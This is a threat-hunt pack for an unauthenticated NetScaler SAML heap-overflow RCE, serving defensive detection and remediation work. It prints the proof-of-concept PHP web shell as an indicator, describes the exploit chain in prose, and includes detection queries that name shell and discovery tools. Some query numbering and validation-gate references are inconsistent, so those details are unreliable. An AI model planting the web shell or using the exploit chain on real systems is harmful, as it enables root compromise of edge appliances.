CVE-2026-8452 — Citrix NetScaler ADC/Gateway SAML Memory-Corruption RCE

Unauthenticated heap buffer overflow in the NetScaler ADC / Gateway SAML signature-canonicalization path yields full remote code execution as root — despite Citrix's original "DoS-only" classification. Requires the appliance configured as a Gateway (SSL VPN / ICA Proxy / CVPN / RDP Proxy) or AAA virtual server. Exploited in the wild with x.php / z.php web shells within days of public disclosure.
Threat
CVE-2026-8452
Severity
EXPLOITED ITW CVSS 8.8
Type
Edge Appliance / Memory Corruption / Unauth RCE
Access
Unauthenticated · Network
Version
v0.3 · 2026-08-28
Author
HuntPack
Confidence
High
01

Executive Summary

What it is. CVE-2026-8452 is an unauthenticated heap buffer overflow (CWE-119) in the SAML signature-validation path of Citrix NetScaler ADC and NetScaler Gateway. During canonicalization of a signed SAML <ds:SignedInfo> block, the nsppe packet-engine process copies the attacker-controlled PrefixList attribute of an <ec:InclusiveNamespaces> element into a fixed-size global buffer without checking whether it fits. An oversized, uniquely-tokenized PrefixList (e.g. hundreds of space-separated markers) overflows into the header of the next network-buffer chunk, corrupting its data-pointer and freelist-link fields. That corrupted metadata is later trusted by a memcpy, giving the attacker a full write-what-where primitive — which watchTowr Labs used to overwrite the tx_pkt_complete_fptr function pointer and redirect execution into attacker-supplied shellcode on the appliance's non-ASLR, executable heap. CVSS 8.8.

Why "DoS-only" was wrong. Citrix's 30 June 2026 advisory described this as "a memory overflow vulnerability leading to unpredictable or erroneous behavior and denial of service." watchTowr Labs' 14 August 2026 writeup showed the primitive goes far past a crash: shellcode neutralizes the appliance's SIGSEGV/SIGBUS handlers via sigaction so only the crashed nsppe process respawns — not the whole box — letting a dropped payload survive; it then writes a PHP web shell (<?php echo(system($_GET[0])); ?>) to /var/vpn/theme/x.php as root and sets the SUID bit on /bin/sh so the "nobody"-owned web server can execute commands as root through it. Notably, even Citrix's own CVSS v4.0 vector for this CVE scores VC:H (high confidentiality impact) and VA:H (high availability impact) — the vector itself already implied more than a crash.

Not the same bug as CVE-2026-8451. Citrix's 30 June 2026 bulletin (CTX696604) patched CVE-2026-8452 in the same release as CVE-2026-8451, and both live in the NetScaler SAML validation subsystem — which is why they're easy to conflate. They are not the same flaw. CVE-2026-8451 (covered separately in CVE-2026-8451-NetScaler-SAML-Hunt.html, published 2026-07-24) is a CWE-125 out-of-bounds read in the SAML IDP path that leaks appliance memory — including session tokens — via the NSC_TASS response cookie; it requires a SAML IDP profile and its outcome is credential/session disclosure, replayed to bypass MFA. CVE-2026-8452 is a CWE-119 out-of-bounds write reachable via a Gateway or AAA vserver (SAML used as SP or IDP), and its outcome is unauthenticated code execution as root — a strictly more severe primitive. This pack does not duplicate the CVE-2026-8451 detections; see §2 and §18 for the cross-reference.

The hunt problem. Exactly as with CVE-2026-8451, the vulnerable appliance is not a Falcon-instrumented endpoint — the exploit primitive, the memory corruption, and the confirmed web-shell drop all happen on FreeBSD-based NetScaler internals that the sensor never sees. This pack is honest about that boundary: §7 covers the appliance-native detections (the only place the exploit itself is visible), while §8's CQL queries hunt strictly downstream — Falcon-instrumented hosts reachable via the compromised gateway segment, credentials harvested from the appliance's config being reused elsewhere, and post-shell command execution landing on any instrumented Windows/Linux host.

Defender priority: Patch to a fixed build (14.1-72.61 / 13.1-63.18 / 13.1-37.272 FIPS or later) immediately — CISA added this to KEV on 2026-08-26 with a 2026-08-29 remediation deadline. Then treat every appliance that was internet-reachable before you patched as potentially already rooted: check for x.php/z.php in web-writable paths, an unexpected SUID bit on /bin/sh, and nsppe crash/respawn cycles in the system log. Patching a compromised appliance does not evict an attacker who already has root and harvested secrets — rotate everything the appliance touched.

02

Source Review & Web Hunter Notes

TierSourceKey findingCarry fwd
1 VendorCitrix / Cloud Software Group NetScaler security bulletin CTX696604 (30 Jun 2026)CVE-2026-8452 = CWE-119 memory overflow, Gateway/AAA-vserver precondition, CVSS 8.8 (VC:H/VI:L/VA:H). Distinguishes it from CVE-2026-8451 (CWE-125, SAML IDP-only precondition) in the same bulletin. Config detection strings for both CVEs provided.yes
1 GovCISA — "CISA Adds Six Known Exploited Vulnerabilities to Catalog" (26 Aug 2026)CVE-2026-8452 added to KEV 26 Aug 2026; FCEB remediation deadline 29 Aug 2026 under BOD 26-04.yes
2 PressHelp Net Security — "Previously patched Citrix NetScaler flaw exploited in the wild (CVE-2026-8452)"Confirms KEV addition, patch versions, watchTowr's RCE finding, and Previdian's report of x.php/z.php web shells + id/echo discovery commands from 3 unique IPs.yes
2 ResearchwatchTowr Labs — "You're Back In The Room (Citrix NetScaler Pre-Auth RCE CVE-2026-8452(?))" (14 Aug 2026)Full technical root-cause writeup: PrefixList heap overflow, write-what-where via corrupted nsb chunk metadata, tx_pkt_complete_fptr RIP-control, signal-handler neutralization to survive crash without a full reboot, PHP web shell dropped to /var/vpn/theme/x.php, SUID-bit privesc on /bin/sh. This is the primary technical source for the attack chain in §3.yes
2 PressThe Hacker News — "CISA Adds Six Exploited Flaws to KEV"Corroborates KEV addition and web-shell IOCs; adds scale data — 36 exploitation attempts over 12 days from 12 unique attacker IPs across Switzerland, Germany, Hong Kong, Japan, Netherlands, Russia, Singapore, Türkiye, US, Vietnam (Previdian/Defused telemetry). No literal IPs published.partial
2 PressSecurityWeek — "Recent Citrix NetScaler Vulnerability Exploited in the Wild"Corroborates Citrix's original DoS-only description vs. actual RCE impact, KEV timeline.partial
2 PressBleepingComputer — "CISA orders feds to patch Citrix NetScaler RCE flaw by Saturday"Adds Shadowserver exposure telemetry: ~22,000 internet-exposed NetScaler ADC instances and ~1,800 exposed Gateway instances (unknown split of honeypots/patched/vulnerable). Confirms Citrix advisory still not updated to acknowledge ITW exploitation as of this writing.yes

Intel gaps / perishability: No literal attacker IPs, C2 domains, or file hashes have been publicly attributed to CVE-2026-8452 exploitation — only source countries and web-shell filenames/content. Treat the appliance-native and behavioral indicators (§4, §10) as the durable detections; the IOC appendix ships REPLACE_* placeholders rather than fabricated atomics. All sources above were fetched in full and saved to NetScaler-CVE-2026-8452-Hunt-sources/ for provenance; no source contained text directed at an AI agent.

Cross-reference, not duplication: CVE-2026-8451-NetScaler-SAML-Hunt.html already covers the sibling memory-overread/session-disclosure CVE from the same 30 June bulletin, including its own CQL queries for session-replay hunting. This pack focuses exclusively on the CVE-2026-8452 overflow/RCE chain and the downstream telemetry it demands; run both packs if your appliance is exposed to either precondition.

03

Hunt Brief & Attack Chain

Hunt hypotheses (fidelity-ordered)

#HypothesisMITRETelemetryConf
H1The NetScaler SAML auth flow (SP or IDP, on a Gateway/AAA vserver) receives a <ds:SignedInfo> whose PrefixList attribute contains an abnormally large number of unique space-separated tokens.T1190ns.log / newnslog / WAF (native)HIGH
H2The appliance system log shows an nsppe crash (SIGSEGV/SIGBUS) immediately followed by pitboss respawning only nsppe — not a full box reboot — the signature of successful signal-handler neutralization.T1562NetScaler system/audit log (native)HIGH
H3A new PHP file named x.php or z.php appears in a web-writable appliance path, or the SUID bit is unexpectedly set on /bin/sh.T1505.003 / T1548Appliance filesystem / FIM (native)HIGH
H4The same x/z.php web-shell naming convention (or its one-liner PHP content) is written by a web-server process on a Falcon-instrumented web host reachable via the gateway/DMZ segment — the same TTP replayed internally.T1505.003ProcessRollup2 (execution proxy — Falcon has no dedicated script/PHP file-write event; see coverage note below)MED
H5An AAA/LDAP/RADIUS service account whose credentials the appliance holds (harvested by an attacker with root on the box) authenticates to internal systems from a new or rare source.T1552 / T1078UserLogonMED
H6A host reachable from the gateway/DMZ segment runs a burst of basic discovery commands shortly after the exploitation window — mirroring the id/echo verification pattern observed on the appliance itself.T1033 / T1082 / T1087ProcessRollup2MED
H7Internal hosts see authenticated network logons whose source is the NetScaler Gateway/AAA VIP or SNIP but whose behavior doesn't match normal proxied user flow — lateral movement using credentials harvested from the rooted appliance.T1021 / T1078UserLogonMED
H8A DMZ/gateway-segment host beacons to a newly-seen external destination, or a new service/scheduled task is created on an internal host shortly after a gateway-segment-sourced logon — tooling staged or persistence set after the pivot.T1071 / T1041 / T1543.003 / T1053.005NetworkConnectIP4 / ServiceInstalledMED

Attack chain

StepActionTelemetry / hunt angle
1 · ReconScan for internet-exposed NetScaler ADC/Gateway instances answering SAML auth on a Gateway or AAA vserver (Shadowserver counts ~22,000 ADC + ~1,800 Gateway instances exposed).Native web log; external attack-surface mgmt. Not EDR-visible.
2 · Exploit (T1190)POST a signed SAML message whose <ec:InclusiveNamespaces PrefixList="..."> contains hundreds of unique tokens (e.g. N0 N1 N2 ... N1999), overflowing the fixed-size canonicalization buffer in nsppe.Native ns.log/WAF: oversized PrefixList on the SAML flow. H1.
3 · Corrupt heap metadataThe overflow spills into the next network-buffer chunk's header, overwriting its data-pointer and freelist-link fields with attacker-controlled bytes.Off-sensor; only visible via appliance crash dumps / vendor analysis.
4 · Write-what-where → RIP controlThe corrupted metadata is later trusted by a memcpy; attacker overwrites the tx_pkt_complete_fptr function pointer used by pe_tx_pkt and redirects execution into shellcode staged on the non-ASLR, executable heap.Off-sensor.
5 · Crash-survival (T1562)Shellcode calls sigaction to neutralize SIGSEGV/SIGBUS/etc. handlers so pitboss respawns only the crashed nsppe process, not the whole appliance — preserving anything already dropped to disk.Native system log: crash-then-partial-respawn pattern. H2.
6 · Drop web shell (T1505.003)Shellcode writes a one-line PHP web shell (<?php echo(system($_GET[0])); ?>) to /var/vpn/theme/x.php as root.Native FIM/appliance filesystem check. H3.
7 · Privesc for the shell (T1548)Shellcode sets the SUID bit on /bin/sh so the web server (running as "nobody") can execute commands through the shell as root.Native filesystem/permissions check. H3.
8 · Verification (T1033/T1082)Attacker hits the web shell with basic commands — id, echo — to confirm code execution. ITW copies use x.php/z.php naming; 12 unique source IPs across 10 countries observed in the first 12 days.Native web/access log on the shell path; H4 if the same technique is replayed on an instrumented host.
9 · Hypothesized follow-onRoot on the appliance = read access to ns.conf secrets (AAA/LDAP bind creds, RADIUS shared secrets, SAML signing keys); attacker pivots inward using those credentials, stages tooling, and/or persists on landed hosts.Falcon: UserLogon from VIP/SNIP, discovery bursts, service/task creation, beaconing. H5–H8.
04

Consolidated IOC Table

TypeValueConfActionContext
Filenamex.php / z.phphighhunt / detectWeb shell names observed in the wild by Previdian/Defused (Help Net Security, THN, SecurityWeek). Confirmed content of the watchTowr PoC shell: <?php echo(system($_GET[0])); ?>.
File path/var/vpn/theme/x.phpmediumhuntSpecific drop path used by watchTowr's proof-of-concept shellcode (labs.watchtowr.com). ITW actors may use other web-writable paths — treat the directory as an example, the filename convention as the durable indicator.
BehavioralSigned SAML <ds:SignedInfo> / <ec:InclusiveNamespaces> with a PrefixList attribute far exceeding normal length (hundreds of unique space-separated tokens)highdetectExploit signature for the heap overflow (watchTowr Labs). Native web/WAF/proxy inspection on the SAML flow.
Behavioralnsppe process crash (SIGSEGV/SIGBUS) followed by a partial respawn (no full appliance reboot)mediumhuntSignature of successful signal-handler neutralization post-exploitation (watchTowr Labs). A crash with a full reboot is more consistent with a failed/DoS-only attempt.
Post-exploit commandid, echomediumhuntDiscovery/verification commands run through the dropped web shell (Previdian, via Help Net Security / THN / SecurityWeek).
ConfigNetScaler configured with add authentication vserver .* (AAA) or add vpn vserver .* (Gateway) on a pre-fix buildhighhuntExposure precondition per Citrix bulletin CTX696604. Combine with a SAML SP/IDP profile bound to that vserver.
File permissionSUID bit set on /bin/shmediumhuntPrivilege-escalation artifact used so the web-shell process (running as "nobody") can execute as root (watchTowr Labs).
Geo/InfraAttacker source countries: CH, DE, HK, JP, NL, RU, SG, TR, US, VN (12 unique IPs, 36 attempts over 12 days)lowenrichPrevidian/Defused telemetry via The Hacker News. No literal IPs published — enrich your own SAML-flow source IPs against this geo spread rather than blocking on it.
Exposure scale~22,000 internet-exposed NetScaler ADC instances, ~1,800 exposed Gateway instanceslowenrichShadowserver telemetry via BleepingComputer. Context for attack-surface urgency, not an atomic indicator.

No malware hashes or C2 domains are published for CVE-2026-8452 exploitation. The IOC appendix (§10) ships placeholder-driven blocks alongside the confirmed filename/behavioral indicators above — the behavioral, config, and filename indicators are the durable detections here.

05

Affected Surface & Telemetry Matrix

SurfaceRequired telemetryPriorityGap risk
NetScaler ADC / Gateway (Gateway or AAA vserver, SAML SP/IDP)ns.log / newnslog, web proxy or WAF access logs, appliance filesystem/FIM on web-writable paths, system/crash logCriticalHigh — appliance not Falcon-instrumented; requires log forwarding + native FIM/crash-log review
DMZ / appliance-segment Falcon-instrumented hosts (web servers, jump hosts)ProcessRollup2, NetworkConnectIP4, NetworkListenIP4 — Falcon has no dedicated PHP/script file-write event, so a replayed web-shell drop is caught via its execution (Q3), not its creationHighMedium — only if sensors are deployed in the DMZ
Internal apps/hosts reachable via harvested AAA/LDAP credentialsUserLogon, ProcessRollup2, ServiceInstalled / ScheduledTaskRegisteredHighLow — standard endpoint coverage
Directory / AAA backend (AD, LDAP, RADIUS) the appliance authenticates againstUserLogon, UserLogonFailed2, Entra/AD sign-in logsHighMedium — credential reuse may surface in IdP/AD logs, not EDR

Coverage reality: the exploit primitive, the memory corruption, the RIP-control chain, and the confirmed web-shell drop all happen on the appliance itself, which has no Falcon sensor. If NetScaler logs and a lightweight FIM check on web-writable appliance paths aren't in place, H1–H3 (the highest-fidelity hypotheses) are blind. The CQL queries in §8 begin at the pivot into your instrumented estate.

06

ATT&CK Mapping

TacticTechniqueObserved behaviorQuery / control
Initial AccessT1190 Exploit Public-Facing ApplicationOversized SAML PrefixList triggers the heap overflow on a Gateway/AAA vserverNative H1; §12
Defense EvasionT1562.001 Impair Defenses (Disable/Modify Tools)Signal handlers neutralized via sigaction so the box doesn't fully reboot on crashNative H2
PersistenceT1505.003 Server Software Component: Web Shellx.php/z.php PHP web shell dropped to a web-writable appliance pathNative H3; Q3
Privilege EscalationT1548 Abuse Elevation Control MechanismSUID bit set on /bin/sh so the "nobody"-owned web server executes as rootNative H3
DiscoveryT1033 / T1082 / T1087id / echo verification commands via the web shell; downstream discovery-tool burstsQ2
Credential AccessT1552 Unsecured CredentialsRoot-on-appliance access to ns.conf secrets (AAA/LDAP bind creds, RADIUS secrets, SAML signing keys)Q1; §12 rotation
Lateral MovementT1021 Remote Services / T1078 Valid AccountsHarvested credentials reused to authenticate into the internal estate from the appliance segmentQ1, Q4
Command & Control / ExfilT1071 / T1041Beaconing / tooling staged from the DMZ/gateway segment post-pivotQ5
Persistence (downstream)T1543.003 / T1053.005Service or scheduled-task creation following a gateway-segment-sourced logonQ6
07

Native Audit-Log Hunts (non-CQL)

These run against the appliance itself — the only place the exploit primitive, the crash-survival trick, and the confirmed web-shell drop are visible. Forward NetScaler logs to your SIEM if you have not already, and add a lightweight FIM check to web-writable appliance paths.

On the NetScaler (CLI / shell)

  • Confirm exposure: show ns version — vulnerable if below 14.1-72.61 / 13.1-63.18 / 13.1-37.272 (FIPS). Then check for the precondition: add authentication vserver .* (AAA) or add vpn vserver .* (Gateway) present in the running config, per Citrix CTX696604.
  • Oversized PrefixList probe: search the web/proxy log for SAML auth requests whose body contains a PrefixList attribute value far longer than a normal namespace-prefix list (normal usage is a handful of short prefixes; the exploit uses hundreds of unique tokens).
  • Crash/respawn pattern: review the system log for nsppe crash events (SIGSEGV/SIGBUS) that are followed by a process-level respawn rather than a full appliance reboot — the signature of successful signal-handler neutralization. A crash that does trigger a full reboot is more consistent with a failed or DoS-only attempt.
  • Web-shell / SUID check: from the shell, look for unexpected PHP files named x.php or z.php (or similar single-letter names) in /var/vpn/theme/ and other web-writable paths, and check /bin/sh for an unexpected SUID bit (ls -l /bin/sh — mode should not include s in the owner-execute position on a clean system).
  • Web-shell hit pattern: hunt the web access log for requests to the discovered shell path carrying a single-character query parameter (matching the PoC's $_GET[0]) with command-like values such as id or echo.

On the web/WAF tier in front of NetScaler

  • Alert on SAML POST requests where the PrefixList attribute value exceeds a sane length/token-count threshold (baseline your normal namespace-prefix usage first — it is typically very short).
  • Alert on any GET/POST to a newly-appearing single-letter .php path on the appliance's web tier.

On the identity / AAA backend (AD, LDAP, RADIUS)

  • Hunt authentication events from the appliance's bound service account(s) for volume or source anomalies following any suspected exploitation window — a rooted appliance can read the bind credentials directly from ns.conf.
08

CrowdStrike LogScale CQL Hunt Queries

Pick your tenant's cloud first — every "Open in Falcon" button below uses this selection.

The appliance where CVE-2026-8452 is actually exploited is not Falcon-instrumented, so every query below hunts the instrumented estate reachable through or behind the gateway. Replace the REPLACE_* placeholders with your own NetScaler VIP/SNIP, DMZ subnet, and AAA/LDAP service-account name(s) before running.

Q1 · Appliance-bound AAA/LDAP service account authenticating from a new or rare source
CONF MEDFP MEDCOST MED

Looks for: the AAA/LDAP/RADIUS service account the NetScaler binds with, authenticating in a pattern that doesn't match its normal single-purpose use — the reuse of credentials harvested from a rooted appliance's ns.conf. FP: the account may legitimately authenticate from monitoring/config-management hosts; baseline its normal source set before alerting.

// HUNT: Appliance-bound AAA/LDAP service account auth volume/source anomaly
// MITRE: T1552 / T1078 | CONF: medium  FP: medium  COST: medium | REQUIRES: UserLogon
// TUNING: set UserName regex to YOUR NetScaler-bound LDAP/RADIUS/AAA service account(s)
#event_simpleName=/UserLogon/
| UserName=/^REPLACE_AAA_SERVICE_ACCOUNT$/i
| groupBy([UserName, ComputerName, RemoteAddressIP4], function=count(as=logons))
| test(logons >= 1)
| sort(logons, order=desc)
| table([UserName, ComputerName, RemoteAddressIP4, logons], limit=200)
Q2 · Discovery command burst on a host reachable from the gateway segment
CONF MEDFP MEDCOST MED

Looks for: a host running several basic discovery/identity commands in a short window — the same class of hands-on verification (id, echo-style) observed on the appliance itself, replayed on a landed host. FP: admin scripts and monitoring agents run these too; require multiple distinct tools and exclude known admin/jump hosts and service accounts.

// HUNT: Discovery/identity utility burst on a single host
// MITRE: T1033 / T1082 / T1087 | CONF: medium  FP: medium  COST: medium | REQUIRES: ProcessRollup2
// TUNING: exclude known admin/jump hosts and logon-script parents
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^(id|whoami|echo|uname|hostname|ifconfig|ipconfig|nltest|net1?|systeminfo|arp|route)(\.exe)?$/i
| groupBy([ComputerName, aid], function=count(field=FileName, as=distinct_tools, distinct=true))
| test(distinct_tools >= 3)
| sort(distinct_tools, order=desc)
| table([ComputerName, aid, distinct_tools], limit=200)
Q3 · Web-server process spawning a discovery/shell command (web-shell execution pattern)
CONF HIGHFP LOWCOST LOW

Looks for: a web-server/PHP-FPM process directly spawning a discovery or shell command — the exact system($_GET[0])id / echo pattern confirmed for CVE-2026-8452, in case the same webshell technique lands on an internal Falcon-instrumented web host after the appliance is rooted. Also matches a filename check on the shell itself if one is later written and executed, via FileName on the process image (e.g. x.php-invoking interpreter). This does not cover the NetScaler appliance itself — it has no Falcon sensor; the confirmed x.php/z.php drops there must be hunted per §7. FP: low — a web server process directly spawning id/sh/cmd is rarely legitimate; still verify against known web-app health-check or diagnostic subprocess calls.

// HUNT: Web-server process spawning a discovery/shell command (web-shell execution pattern)
// MITRE: T1505.003 / T1059 | CONF: high  FP: low  COST: low | REQUIRES: ProcessRollup2
// TUNING: scope ParentBaseFileName to your actual web server / PHP-FPM binaries; exclude known health-check subprocess calls
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| ParentBaseFileName=/(httpd|nginx|php-fpm|apache2|w3wp\.exe|caddy)/i
| FileName=/^(id|whoami|echo|uname|sh|bash|cmd|powershell)(\.exe)?$/i
| table([ComputerName, aid, ParentBaseFileName, FileName, CommandLine], limit=200)
Q4 · Logons into internal hosts sourced from the Gateway/AAA VIP or SNIP
CONF MEDFP MEDCOST MED

Looks for: interactive or network logons into internal hosts whose source is the NetScaler Gateway/AAA VIP or SNIP — a compromised appliance can be used as a jump point directly, not just a credential-harvesting stop. FP: the appliance may legitimately proxy administrative sessions; baseline expected logon types and exclude sanctioned admin flows.

// HUNT: Logons into internal hosts sourced from the NetScaler Gateway/AAA VIP or SNIP
// MITRE: T1021 / T1078 | CONF: medium  FP: medium  COST: medium | REQUIRES: UserLogon
// TUNING: set RemoteAddressIP4 regex to YOUR NetScaler VIP/SNIP addresses
#event_simpleName=/UserLogon/
| LogonType=/^(3|9|10)$/
| RemoteAddressIP4=/^REPLACE_NETSCALER_VIP/
| table([UserName, ComputerName, LogonType, RemoteAddressIP4], limit=200)
Q5 · DMZ/gateway-segment host beaconing to a newly-seen external destination
CONF LOWFP HIGHCOST MED

Looks for: outbound connections from your DMZ/appliance-segment hosts, counted per destination — no attacker IP has been publicly attributed for CVE-2026-8452 (only source countries), so this is a broad novelty hunt to pair with your own rare-destination/threat-intel enrichment rather than a fixed-IOC match. FP: high without enrichment — this surfaces candidates, it does not alert on its own.

// HUNT: DMZ/gateway-segment host connection volume by destination (pair with rare-destination enrichment)
// MITRE: T1071 / T1041 | CONF: low  FP: high  COST: medium | REQUIRES: NetworkConnectIP4
// TUNING: set LocalAddressIP4 to YOUR DMZ/appliance segment; feed RemoteAddressIP4 into rare-destination/threat-intel enrichment
#event_simpleName=/NetworkConnectIP4/
| ConnectionDirection=/^0$/
| LocalAddressIP4=/^REPLACE_DMZ_SUBNET/
| groupBy([ComputerName, RemoteAddressIP4], function=count(as=conns))
| test(conns >= 1)
| sort(conns, order=desc)
| table([ComputerName, RemoteAddressIP4, conns], limit=200)
Q6 · New service/scheduled task following a gateway-segment-sourced logon
CONF MEDFP MEDCOST LOW

Looks for: service or scheduled-task creation with a shell/LOLBin image path — persistence staged after a pivot from the compromised gateway segment. FP: software deployment and patch tooling create services; exclude known deployment parents and signed installer paths.

// HUNT: Suspicious service/scheduled-task creation post-pivot
// MITRE: T1543.003 / T1053.005 | CONF: medium  FP: medium  COST: low | REQUIRES: ServiceInstalled / ScheduledTaskRegistered
// TUNING: exclude signed installer paths and RMM/patch-deployment parents (e.g. ccmexec, msiexec)
#event_simpleName=/CreateService|ScheduledTaskRegistered/
| CommandLine=/(cmd(\.exe)?|powershell(\.exe)?|rundll32|regsvr32|mshta|wscript|cscript|\/bin\/sh|\/bin\/bash)/i
| table([ComputerName, aid, UserName, ServiceName, TaskName, CommandLine], limit=200)
Q5 · Anomalous Authentication Sourced From NetScaler Appliance IP
CONF MEDIUMFP MEDIUMCOST MEDIUM

Looks for: post-pivot use of credentials harvested from a compromised appliance against Falcon-covered infrastructure. FP: NetScaler legitimately performs LDAP binds to domain controllers — scoped away from service-style logons, see TUNING.

// HUNT: CVE-2026-8452 - T1078 Valid Accounts (post-pivot use of credentials harvested from compromised NetScaler)
// CONF: medium  FP: medium  COST: medium | REQUIRES: native Falcon Identity/endpoint telemetry on target hosts; replace NETSCALER_CIDR with your appliance's actual management/DMZ subnet
// HYPOTHESIS: Credentials harvested from a compromised NetScaler (LDAP bind account, SAML signing keys, session secrets) are reused against Falcon-covered Windows/Linux/AD infrastructure, sourced from the appliance's IP/subnet, in a pattern inconsistent with routine LDAP-bind-only traffic.
// LOOKBACK: 14d
// TUNING: exclude your documented AAA/LDAP bind service account issuing continuous service-style binds to known domain controllers; this query is already scoped to LogonType != 3 (excludes network/service logons) to reduce that noise -- add a ComputerName exclusion for your known DC set if still noisy.
// REQUIRED TUNING: replace documentation-only 192.0.2.0/24 with the exact NetScaler appliance IP (/32) or management/DMZ CIDR before use.

#event_simpleName = /UserLogon|UserLogonFailed2/
| cidr(RemoteAddressIP4, subnet="192.0.2.0/24")
| LogonType != 3
| table([@timestamp, ComputerName, UserName, UserSid, RemoteAddressIP4, LogonType, aid])
| sort(@timestamp, order=desc)
Q6 · Admin-Port Connections From NetScaler Subnet to Internal Hosts
CONF MEDIUMFP MEDIUMCOST MEDIUM

Looks for: the realistic Falcon-native signal of an attacker pivoting inward — a gateway appliance originating interactive RDP/SSH/WinRM sessions to internal hosts. FP: sanctioned jump-hosts in the same subnet, see TUNING.

// HUNT: CVE-2026-8452 - T1021 Remote Services (lateral movement using compromised appliance as pivot)
// CONF: medium  FP: medium  COST: medium | REQUIRES: native Falcon network telemetry on target hosts; replace NETSCALER_CIDR with your appliance's actual management/DMZ subnet
// HYPOTHESIS: A gateway/VPN appliance never legitimately originates interactive remote-administration sessions (RDP/SSH/WinRM) to arbitrary internal hosts. New inbound connections on 3389/22/5985-5986 sourced from the NetScaler's IP/subnet suggest an attacker pivoting inward after gaining root via this CVE.
// LOOKBACK: 14d
// TUNING: exclude any documented, sanctioned jump-host/bastion IPs co-located in the same subnet as the NetScaler appliance that are expected to originate admin sessions.
// REQUIRED TUNING: replace documentation-only 192.0.2.0/24 with the exact NetScaler appliance IP (/32) or management/DMZ CIDR before use.

#event_simpleName = NetworkReceiveAcceptIP4
| cidr(RemoteAddressIP4, subnet="192.0.2.0/24")
| in(LocalPort, values=[22, 3389, 5985, 5986])
| rename(field=ContextProcessId_decimal, as=TargetProcessId_decimal)
| join(query={#event_simpleName = /ProcessRollup2|SyntheticProcessRollup2/}, field=[aid, TargetProcessId_decimal], include=[ImageFileName, CommandLine, UserName])
| table([@timestamp, ComputerName, UserName, ImageFileName, CommandLine, RemoteAddressIP4, LocalPort, aid])
| sort(@timestamp, order=desc)
09

Custom IOA Recommendations

The exploit and confirmed web-shell drop are off-sensor, so IOAs here target the naming convention being replayed internally and the post-exploitation behavior on instrumented hosts. Promote only after baselining.

IOA namePatternExclusionsPath
Web-Shell Command ExecutionWeb-server/PHP-FPM process (httpd/nginx/php-fpm/apache2/w3wp/caddy) directly spawns a discovery/shell command (id/whoami/echo/sh/bash/cmd/powershell)Known web-app health-check or diagnostic subprocess calls (rare)Investigate → promote to Detect quickly (Q3) — high fidelity, low FP
Discovery Burst — Gateway Pivot≥3 distinct discovery/identity utilities (id/whoami/echo/uname/net/systeminfo) on one host within 10 minAdmin jump hosts, logon-script parents, monitoring agentsInvestigate → promote to Detect after baseline (Q2)
Shell-Backed Service CreationServiceInstalled / ScheduledTaskRegistered with cmd/powershell/rundll32/sh/bash imageSigned installers, RMM/deployment toolingInvestigate → Detect (Q6)

The highest-fidelity detections — the oversized PrefixList probe (H1) and the nsppe crash/partial-respawn pattern (H2) — belong in your WAF/NGSIEM rules against NetScaler logs, not a Falcon IOA. The appliance never reports to the sensor.

10

Machine-Readable IOC Appendix

Falcon IOC Management CSVbulk import
type,value,action,severity,expiration,description,tags
domain,REPLACE_WITH_C2_DOMAIN,detect,high,2027-02-28,CVE-2026-8452 post-exploit C2 (no domain publicly attributed yet),campaign:CVE-2026-8452
ipv4,REPLACE_WITH_CONFIRMED_SOURCE_IP,detect,medium,2026-11-28,CVE-2026-8452 exploitation source (populate from your own SAML-flow logs / threat-intel feed),campaign:CVE-2026-8452
sha256,REPLACE_WITH_TOOLING_HASH,prevent,critical,2027-02-28,CVE-2026-8452 post-exploit tooling,campaign:CVE-2026-8452
Web Shell Filenames & Contentconfirmed / high-confidence
# Filenames observed in the wild (Previdian/Defused, via Help Net Security / THN):
#   x.php
#   z.php
# PoC payload content (watchTowr Labs), treat as a signature not an exhaustive list:
#   <?php echo(system($_GET[0])); ?>
# Example drop path from the watchTowr PoC (appliance-side only, not Falcon-visible):
#   /var/vpn/theme/x.php
# Privesc artifact:
#   SUID bit unexpectedly set on /bin/sh
Behavioral SignaturesWAF / NGSIEM
# Exploit probe (native web/WAF inspection, SAML auth flow on Gateway/AAA vserver):
#   Element   : <ds:SignedInfo> -> <ec:InclusiveNamespaces PrefixList="...">
#   Anomaly    : PrefixList value with hundreds of unique space-separated tokens
#                (normal usage is a handful of short namespace prefixes)
# Crash-survival signature (appliance system/crash log):
#   nsppe crash (SIGSEGV/SIGBUS) -> pitboss respawns nsppe only, no full reboot
# Post-exploit verification (appliance web access log):
#   Request to the dropped shell path with a single-character query param
#   carrying a command value such as id or echo
Patch / Config Auditremediation
# Fixed builds (upgrade to at least):
#   NetScaler ADC/Gateway 14.1-72.61
#   NetScaler ADC/Gateway 13.1-63.18
#   NetScaler ADC 14.1-FIPS 14.1-72.61
#   NetScaler ADC 13.1-FIPS / 13.1-NDcPP 13.1.37.272
# Precondition check (Citrix CTX696604):
#   add authentication vserver .*         # AAA vserver
#   add vpn vserver .*                    # Gateway (SSL VPN/ICA Proxy/CVPN/RDP Proxy)
# Compromise-assessment checklist (run BEFORE trusting a patched box):
#   find /var/vpn -iname 'x.php' -o -iname 'z.php'
#   ls -l /bin/sh                          # unexpected SUID bit?
#   grep -i 'sigbus\|sigsegv' /var/log/ns.log   # crash without full reboot?
11

Detection Validation Gates

GateRequirementStatus
Telemetry readiness (Q1-4)NetScaler syslog/WAF/access logs forwarded into Falcon Next-Gen SIEM as a custom log sourceVerify per-tenant — likely NOT in place for most orgs today
Telemetry readiness (Q5-7)Standard Falcon sensor deployment on Windows/Linux hosts reachable from the NetScaler subnetShould already exist in any Falcon-deployed environment
Benign baseline (Q1)Confirm legitimate SAML traffic from real IdP/SP peers never carries PrefixList values above ~50 tokensRun Q1 over a known-clean 30-day window before relying on it operationally
Benign baseline (Q5/Q6)Confirm the NetScaler's expected LDAP-bind/service traffic pattern to known DCs so it can be excludedRequired before promotion — see TUNING notes on each query
Positive testNo safe way to trigger the actual overflow (it is a live exploit primitive) — validate Q1/Q3 instead by confirming they fire against a benign test request containing the literal string patterns (long PrefixList value; /vpn/theme/x.php URI) in a lab/test log streamRecommended before operational reliance
PromotionAll queries here are Detect-only by design — none are candidates for Prevent-mode promotion (they are hunts/behavioral signals, not IOC blocks)N/A
12

Hardening & Mitigation

Immediate — deploy this week
  • Patch to fixed firmware — the only complete fix. Upgrade to NetScaler ADC/Gateway 14.1-72.61+ or 13.1-63.18+ (14.1-72.61 FIPS+ / 13.1-37.272 FIPS/NDcPP+ for FIPS builds). Citrix's bulletin (CTX696604) states no compensating-control workaround exists for CVE-2026-8452 — treat as an emergency change given the public PoC. Framework: M1051 (Update Software); Citrix CTX696604.
